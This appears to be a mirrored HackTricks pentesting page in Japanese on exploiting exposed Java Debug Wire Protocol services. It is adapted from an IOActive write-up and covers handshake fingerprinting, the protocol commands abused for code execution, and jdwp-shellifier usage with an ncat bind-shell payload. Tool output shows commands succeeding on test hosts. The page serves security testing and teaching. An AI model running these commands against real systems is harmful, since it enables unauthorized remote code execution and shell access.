Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00

Translator 9c9bc14b66 Translated ['network-services-pentesting/pentesting-jdwp-java-debug-wire

2023-12-29 15:33:28 +00:00

25 KiB

Raw Blame History

Pentesting JDWP - Java Debug Wire Protocol

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

サイバーセキュリティ会社で働いていますか？HackTricksにあなたの会社を広告したいですか？ または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか？ サブスクリプションプランをチェックしてください！
The PEASS Familyを発見してください。私たちの独占的なNFTsコレクションです。
公式のPEASS & HackTricksグッズを手に入れましょう。
**💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦@carlospolopmにフォローしてください。
hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。

Exploiting

JDWPのエクスプロイトは、認証と暗号化の欠如に基づいています。通常はポート8000で見つかりますが、他のポートも可能です。初期接続は、ターゲットポートに"JDWP-Handshake"を送信することで行われます。JDWPサービスがアクティブであれば、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを識別するためのフィンガープリント方法として機能します。

プロセス識別に関しては、Javaプロセスで文字列"jdwk"を検索することで、アクティブなJDWPセッションを示すことができます。

主要なツールはjdwp-shellifierです。異なるパラメーターで使用できます：

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

--break-on 'java.lang.String.indexOf'を使用すると、エクスプロイトがより安定することがわかりました。また、ホストにバックドアをアップロードして実行する機会があれば、コマンドを実行する代わりにそれを実行することで、エクスプロイトはさらに安定します。

詳細

コピー元 https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA): JDWPは、Java Platform Debug Architecture (JPDA)[2]と呼ばれる全体的なJavaデバッグシステムの一部です。以下は全体的なアーキテクチャの図です：

Debuggeeは、ターゲットアプリケーションを実行するマルチスレッドのJVMで構成されています。リモートでデバッグ可能であるためには、JVMインスタンスはコマンドラインで-Xdebugオプションを明示的に指定して起動する必要があります。また、-Xrunjdwp（または-agentlib）オプションも必要です。例えば、リモートデバッグを有効にしてTomcatサーバーを起動すると次のようになります：

アーキテクチャ図に示されているように、Java Debug Wire ProtocolはDebuggerとJVMインスタンスの間の中心的なリンクです。プロトコルに関する観察点は以下の通りです：

パケットベースのネットワークバイナリプロトコルです。
主に同期的です。デバッガーはJDWPを介してコマンドを送信し、応答を受け取ることを期待します。ただし、イベントのような一部のコマンドは同期的な応答を期待しません。特定の条件が満たされたときに応答を送信します。例えば、BreakPointはイベントです。
認証を使用しません。
暗号化を使用しません。

これらの観察点は、デバッグプロトコルについて話しているので、全て理にかなっています。しかし、このようなサービスが敵対的なネットワークに露出している場合、またはインターネットに面している場合、問題が発生する可能性があります。

ハンドシェイク: JDWPは[9]、シンプルなハンドシェイクによって通信を開始する必要があると規定しています。成功したTCP接続後、Debugger（クライアント）は14文字のASCII文字列「JDWP-Handshake」を送信します。Debuggee（サーバー）は、同じ文字列を送信することでこのメッセージに応答します。以下のscapy[3]トレースは、初期の双方向ハンドシェイクを示しています：

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

セキュリティ監査人であれば、このようなシンプルなハンドシェイクがインターネット上の生きているJDWPサービスを簡単に見つける方法を提供することにすでに気づいているかもしれません。単純なプローブを送信し、特定の応答を確認するだけです。さらに興味深いことに、ShodanHQ[4]でスキャンするときにIBM Java Development Kitで観察された挙動があり、サーバーが最初に同じバナーで「話し始める」というものです。その結果、活動中のJDWPサービスを完全に受動的に発見する方法があります（この記事の後半で、有名なShodanを使ってカバーされています）。

通信: JDWPはDebuggerとDebuggee間の通信に関わるメッセージ[10]を定義しています。メッセージは以下のようにシンプルな構造で定義されています：

LengthとIdフィールドは自己説明的です。Flagフィールドはリクエストパケットと応答パケットを区別するためにのみ使用され、0x80の値は応答パケットを示します。CommandSetフィールドは以下の表に示すように、コマンドのカテゴリを定義します。
\

CommandSet	Command
0x40	JVMによって取られるべきアクション（例：BreakPointの設定）
0x40–0x7F	デバッガーにイベント情報を提供する（例：JVMがBreakPointに達し、さらなるアクションを待っている）
0x80	サードパーティの拡張

任意のコードを実行したいと考えているので、以下のコマンドが私たちの目的にとって最も興味深いものです。

VirtualMachine/IDSizesは、JVMが扱うデータ構造のサイズを定義します。これがnmapスクリプトjdwp-exec.nse[11]が機能しない理由の1つです。なぜなら、スクリプトはハードコードされたサイズを使用しているからです。
ClassType/InvokeMethodを使用すると、静的関数を呼び出すことができます。
ObjectReference/InvokeMethodを使用すると、JVM内のインスタンス化されたオブジェクトから関数を呼び出すことができます。
StackFrame/(Get|Set)Valuesは、スレッドスタックからのプッシュ/ポップ機能を提供します。
Event/Compositeは、このコマンドによって宣言された特定の動作にJVMが反応するように強制します。このコマンドはデバッグ目的のための主要な鍵であり、ブレークポイントの設定、ランタイム中のスレッドのシングルステップ実行、GDBやWinDBGと同じ方法で値のアクセス/変更時の通知など、多くの他のことを可能にします。

JDWPはメモリに既に存在するオブジェクトにアクセスして呼び出すことを可能にするだけでなく、データを作成または上書きすることも可能にします。

VirtualMachine/CreateStringを使用すると、文字列をJVMランタイム内で生きているjava.lang.Stringに変換することができます。
VirtualMachine/RedefineClassesを使用すると、新しいクラス定義をインストールすることができます。

「あなたのJDWPはすべて私たちのものです」

見てきたように、JDWPは任意のクラスをJVMメモリにロードし、既存のおよび/または新しくロードされたバイトコードを呼び出すための組み込みコマンドを提供します。次のセクションでは、Pythonでのエクスプロイトコードの作成手順をカバーします。これは、可能な限り信頼性の高いJDIフロントエンドの部分的な実装として振る舞うものです。このスタンドアロンのエクスプロイトスクリプトの主な理由は、ペネトレーションテスターとして、「ヘッドショット」エクスプロイトが好きだからです。つまり、環境/アプリケーション/プロトコルが脆弱であることが確実にわかっている場合、すぐにそれを利用するためのツールを用意しておきたいのです（つまり、これまで基本的に存在していたのはPoCだけです）。それでは、理論をカバーしたので、実際の実装に入りましょう。オープンなJDWPサービスに直面した場合、任意のコマンド実行はちょうど5ステップ（またはこのエクスプロイトを使用すると、1つのコマンドラインだけ）離れています。こうなります：1. Javaランタイム参照の取得JVMはオブジェクトをその参照を通じて操作します。このため、私たちのエクスプロイトはまずjava.lang.Runtimeクラスへの参照を取得する必要があります。このクラスから、getRuntime()メソッドへの参照が必要です。これは、すべてのクラス（AllClassesパケット）と、探しているクラスのすべてのメソッド（ReferenceType/Methodsパケット）を取得することで実行されます。2. ブレークポイントの設定と通知の待機（非同期呼び出し）これが私たちのエクスプロイトの鍵です。任意のコードを呼び出すためには、実行中のスレッドコンテキストにいる必要があります。これを行うためのハックは、ランタイム中に呼び出されることがわかっているメソッドにブレークポイントを設定することです。前述のように、JDIのブレークポイントはBREAKPOINT(0x02)に設定された非同期イベントです。ヒットすると、JVMはブレークポイントIDを含むEventDataパケットをデバッガーに送信し、より重要なことに、それをヒットしたスレッドへの参照を送信します。
\

したがって、java.net.ServerSocket.accept()のような頻繁に呼び出されるメソッドに設定するのは良い考えです。これは、サーバーが新しいネットワーク接続を受け取るたびに呼び出される可能性が非常に高いからです。ただし、ランタイム中に存在する任意のメソッドである可能性があることを念頭に置く必要があります。3. ペイロードを実行するためにRuntimeにJava Stringオブジェクトを割り当てる私たちはJVMランタイムでコードを実行するので、操作するすべてのデータ（文字列など）はJVMランタイムに存在する必要があります（つまり、ランタイム参照を持っている必要があります）。これはCreateStringコマンドを送信することで非常に簡単に行うことができます。

4. ブレークポイントコンテキストからRuntimeオブジェクトを取得この時点で、成功し信頼性の高いエクスプロイトに必要なほとんどすべての要素を持っています。私たちが欠けているのはRuntimeオブジェクト参照です。これを取得するのは簡単で、単にJVMランタイムでjava.lang.Runtime.getRuntime()静的メソッド[8]を実行することができます。これはClassType/InvokeMethodパケットを送信し、Runtimeクラスとスレッドの参照を提供することで行います。5. Runtimeインスタンスでexec()メソッドを検索して呼び出す最後のステップは、前のステップで取得したRuntime静的オブジェクトでexec()メソッドを探し、それを呼び出す（ObjectReference/InvokeMethodパケット

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed

同じコマンドラインですが、Windowsシステムに対して実行し、全く異なるメソッドでブレークします：

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed

実行環境はLinuxシステムです。ペイロード "ncat -e /bin/bash -l -p 1337" を使用してバインドシェルを生成するために、私たちのエクスプロイトを実行します：

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

最終的なエクスプロイトはこれらのテクニックを使用し、いくつかのチェックを追加し、できるだけ少ない混乱を引き起こすためにsuspend/resumeシグナルを送信します（作業中のアプリケーションを壊さないのが常に最善ですよね？）。それは二つのモードで動作します：

「デフォルト」モードは完全に非侵入的で、ローカルシステム情報を取得するためにJavaコードを実行するだけです（クライアントへのPoCに最適です）。
「cmd」オプションを渡すと、リモートホストでシステムコマンドを実行し、より侵入的です。コマンドはJVMが実行されている権限で行われます。

このエクスプロイトスクリプトは以下に対して成功裏にテストされました：

Oracle Java JDK 1.6 および 1.7
OpenJDK 1.6
IBM JDK 1.6

Javaは設計上プラットフォームに依存しないため、Javaがサポートする任意のオペレーティングシステムでコマンドを実行できます。これは実際には私たちpentestersにとって良いニュースです：オープンなJDWPサービスは信頼性の高いRCEを意味します。これまでのところ、良いです。

実際のエクスプロイトについては？

実際には、JDWPはJavaアプリケーションの世界でかなり使用されています。しかし、リモートアセスメントを実施する際にpentestersがそれを頻繁に見ることはないかもしれません。なぜなら、ファイアウォールは（そしてすべきですが）通常、それが実行されているポートをブロックするからです。しかし、これはJDWPが野生で見つけられないという意味ではありません：

この記事を書いている時点で、ShodanHQ[4]での簡単な検索は、JDWPハンドシェイクを送信している約40台のサーバーをすぐに明らかにしました：

これは実際には興味深い発見です。なぜなら、前に見たように、対話を開始するのはクライアント側（デバッガー）であるべきだからです。

GitHub[7]も、潜在的に脆弱なオープンソースアプリケーションのかなりの数を明らかにしています：

特定のポート（tcp/8000、tcp/8080、tcp/8787、tcp/5005）を探してインターネットをmasscanすると、初期ハンドシェイクに応答する多くのホスト（ここでは報告できません）が見つかりました。
「エンタープライズ」アプリケーションが、*デフォルトで*JDWPサービスを実行していることが野生で見つかりました（実際のポート番号を見つけるのは好奇心旺盛な読者に任されています）。

これらはインターネット上でオープンなJDWPサービスを発見するためのいくつかの方法です。これは、アプリケーションは定期的に徹底的なセキュリティレビューを受けるべきであり、本番環境ではデバッグ機能がオフになっているべきであり、ファイアウォールは通常の運用に必要なサービスへのアクセスのみを制限するように設定されるべきであるという素晴らしいリマインダーです。誰でもJDWPサービスに接続できるようにすることは、gdbserverサービスに接続を許可するのと全く同じです（おそらくより安定した方法で）。この記事を読んで楽しんでいただけたら幸いです。そして、すべての強力な海賊たちへ、楽しいJDWP pwningを！！

感謝

Ilja Van SprundelとSebastien Mackeに、彼らのアイデアとテストに感謝します。

参照：